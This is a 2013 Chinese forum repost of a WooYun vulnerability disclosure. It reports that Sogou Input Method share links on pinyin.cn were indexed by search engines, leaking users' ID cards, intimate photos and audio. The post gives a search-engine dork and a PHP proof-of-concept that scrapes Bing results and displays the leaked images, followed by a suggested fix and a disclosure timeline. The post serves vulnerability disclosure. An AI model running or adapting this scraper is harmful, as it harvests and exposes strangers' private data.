搜狗输入法泄密事件，导致大量用户敏感信息泄露

本帖最后由 coldsea 于 2013-6-5 19:07 编辑

http://www.wooyun.org/bugs/wooyun-2013-023081
这是原帖，镇长@乌云

下午发现微博疯传搜狗输入法泄密事件，网友们已经挖出了大量敏感 & 成年内容！

其实该漏洞乌云很久之前就接到了白帽子的报告，并且及时通知了厂商，但问题至今未得到有效的处理。搜狗输入法可导致大量用户敏感信息泄露









甚至还有部分 成年 音频流出



漏洞证明：

为了验证方便，写了一段代码这个是针对bing的结果弄的。

直接这种形式去查看吧，挺方便还支持翻页哦亲！

<?php
set_time_limit(0);
$url = 'http://cn.bing.com/search?q=site%3apinyin.cn&qs=n&pq=site%3apinyin.cn&sc=0-4&sp=-1&sk=&first={ddddd}1&FORM=PERE';

$i = $_GET['i'];
        $api = file_get_contents(str_replace('{ddddd}',$i,$url));
        preg_match_all('/<a href=\"http:\/\/pinyin.cn\/([a-zA-Z0-9]+)?\"/',$api,$a);
        foreach($a[1] as $v) {
                $api = file_get_contents('http://pinyin.cn/'.$v);
                preg_match('/<a target="_blank" href="(.*?)">/',$api,$aa);
                if($aa) {
                        echo '<br>';
                        echo '<a target="_blank" href="http://pinyin.cn/'.$v.'">http://pinyin.cn/'.$v.'</a>:';
                        echo '<img class=\'round_img\' id=\'round_img\' src="'.$aa[1].'" border=0 max-width="210px" max-height="210px" />';

                }
}
修复方案：

短信发送时可以带一组查看码(如4位字符)，打开链接时输入查看码才能查看内容。

漏洞详情披露状态：

2013-05-04：        细节已通知厂商并且等待厂商处理中
2013-05-05：        厂商已经确认，细节仅向厂商公开
2013-05-15：        细节向核心白帽子及相关领域专家公开
2013-05-25：        细节向普通白帽子公开
2013-06-04：        细节向实习白帽子公开
2013-06-05：        细节向公众公开

简要描述：

搜狗输入法信息发送过程存储了相对应的信息在云端，但由于相应配置及其他原因造成会话信息【图片、视频、音频】泄露。其中很多身份证、果照、还有检举信！！！

详细说明：

搜狗输入法信息发送过程存储了相对应的信息，由于不严谨造成信息被搜索引擎抓取。

Google或者bing：

输入关键词：site:pinyin.cn

[bing=3,700 条结果],[Google=约 1,120 条结果 ]